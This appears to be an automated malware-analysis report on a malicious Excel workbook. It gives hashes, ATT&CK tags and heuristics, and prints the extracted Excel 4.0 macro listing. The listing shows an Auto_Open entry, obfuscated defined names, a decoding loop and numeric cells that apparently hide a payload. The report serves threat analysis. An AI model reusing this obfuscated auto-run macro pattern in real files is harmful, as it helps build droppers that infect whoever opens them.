Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b3d3e18167ee856e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:53 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: e0f5fac49884f5b45d4a48549e5baba1 SHA-1: 2df3cb9a743723fef55d53939343fd21f3e60a37 SHA-256: b3d3e18167ee856ea18415e62bd68583f51539fe03eb5dd9c399ad694838a938
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further suggests malicious intent. While the exact payload is not clear from the static analysis, the Auto_Open macro is designed to execute arbitrary commands, likely leading to the download and execution of a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6854 bytes
SHA-256: d74424b4111f4d36dff52e43d5487c43bb5933a2691eda2dd72cb3a66ad9cd2a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HHCcDvWOM
' 0018     23 LABEL : Cell Value, String Constant - AidNsULW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F192 
' 0018     21 LABEL : Cell Value, String Constant - cEZTYc len=0 
' 0018     22 LABEL : Cell Value, String Constant - CHjfFJH len=0 
' 0018     21 LABEL : Cell Value, String Constant - COkPJq len=0 
' 0018     21 LABEL : Cell Value, String Constant - GTfZqc len=0 
' 0018     27 LABEL : Cell Value, String Constant - hBSDSDdItceR len=0 
' 0018     23 LABEL : Cell Value, String Constant - jMSwlPPA len=0 
' 0018     22 LABEL : Cell Value, String Constant - jOuUKlf len=0 
' 0018     24 LABEL : Cell Value, String Constant - KBPXdSoaQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - KeiaOrh len=0 
' 0018     20 LABEL : Cell Value, String Constant - LElfW len=0 
' 0018     26 LABEL : Cell Value, String Constant - NkgSeVEguQv len=0 
' 0018     27 LABEL : Cell Value, String Constant - NOuMBWZBBDlw len=0 
' 0018     22 LABEL : Cell Value, String Constant - psXuCez len=0 
' 0018     26 LABEL : Cell Value, String Constant - qpjBfkPKrFO len=0 
' 0018     27 LABEL : Cell Value, String Constant - thnWDSwbxLxP len=0 
' 0018     23 LABEL : Cell Value, String Constant - tjBbYPwy len=0 
' 0018     22 LABEL : Cell Value, String Constant - UJxnBwx len=0 
' 0018     26 LABEL : Cell Value, String Constant - VVaJoYCrIiu len=0 
' 0018     26 LABEL : Cell Value, String Constant - YymNrrnmbHI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HHCcDvWOM,P88,"",225.00000000000000000000
'  HHCcDvWOM,P89,"",413.00000000000000000000
'  HHCcDvWOM,P90,"",472.00000000000000000000
'  HHCcDvWOM,P91,"",-10.00000000000000000000
'  HHCcDvWOM,P92,"",-121.00000000000000000000
'  HHCcDvWOM,P93,"",-622.00000000000000000000
'  HHCcDvWOM,F97,"SET.NAME("NkgSeVEguQv",0+VALUE("0"))",""
'  HHCcDvWOM,F101,"SET.NAME("LElfW",NkgSeVEguQv)",""
'  HHCcDvWOM,F103,"SET.NAME("psXuCez",NkgSeVEguQv)",""
'  HHCcDvWOM,F108,"SET.NAME("thnWDSwbxLxP",COUNTA(jOuUKlf))",""
'  HHCcDvWOM,F110,"SET.NAME("qpjBfkPKrFO",COUNTA(AidNsULW))",""
'  HHCcDvWOM,F113,[],""
'  HHCcDvWOM,F118,"SET.NAME("hBSDSDdItceR","")",""
'  HHCcDvWOM,F121,"LElfW",""
'  HHCcDvWOM,F125,"SET.NAME("KBPXdSoaQ",HLOOKUP("*",jOuUKlf,LElfW,FALSE))",""
'  HHCcDvWOM,F128,"VVaJoYCrIiu",""
'  HHCcDvWOM,F133,"SET.NAME("jMSwlPPA",NkgSeVEguQv)",""
'  HHCcDvWOM,F138,[],""
'  HHCcDvWOM,F141,"jMSwlPPA",""
'  HHCcDvWOM,F146,"GTfZqc",""
'  HHCcDvWOM,F150,"KeiaOrh",""
'  HHCcDvWOM,F154,"NOuMBWZBBDlw",""
'  HHCcDvWOM,F159,"SET.NAME("tjBbYPwy",VALUE(HLOOKUP("*",AidNsULW,NOuMBWZBBDlw,FALSE)))",""
'  HHCcDvWOM,F161,"CHjfFJH",""
'  HHCcDvWOM,F165,"hBSDSDdItceR",""
'  HHCcDvWOM,F169,"psXuCez",""
'  HHCcDvWOM,F171,NEXT(),""
'  HHCcDvWOM,F176,"UJxnBwx",""
'  HHCcDvWOM,F178,[],""
'  HHCcDvWOM,F183,"COkPJq",""
'  HHCcDvWOM,F187,NEXT(),""
'  HHCcDvWOM,F189,RETURN(),""
'  HHCcDvWOM,F214,"SET.NAME("cEZTYc",F97)",""
'  HHCcDvWOM,F218,"jOuUKlf",""
'  HHCcDvWOM,F222,"SET.NAME("AidNsULW",R58C13)",""
'  HHCcDvWOM,F227,"SET.NAME("COkPJq",236)",""
'  HHCcDvWOM,F232,"SET.NAME("YymNrrnmbHI",6)",""
'  HHCcDvWOM,F235,cEZTYc(),""
'  HHCcDvWOM,F236,HALT(),""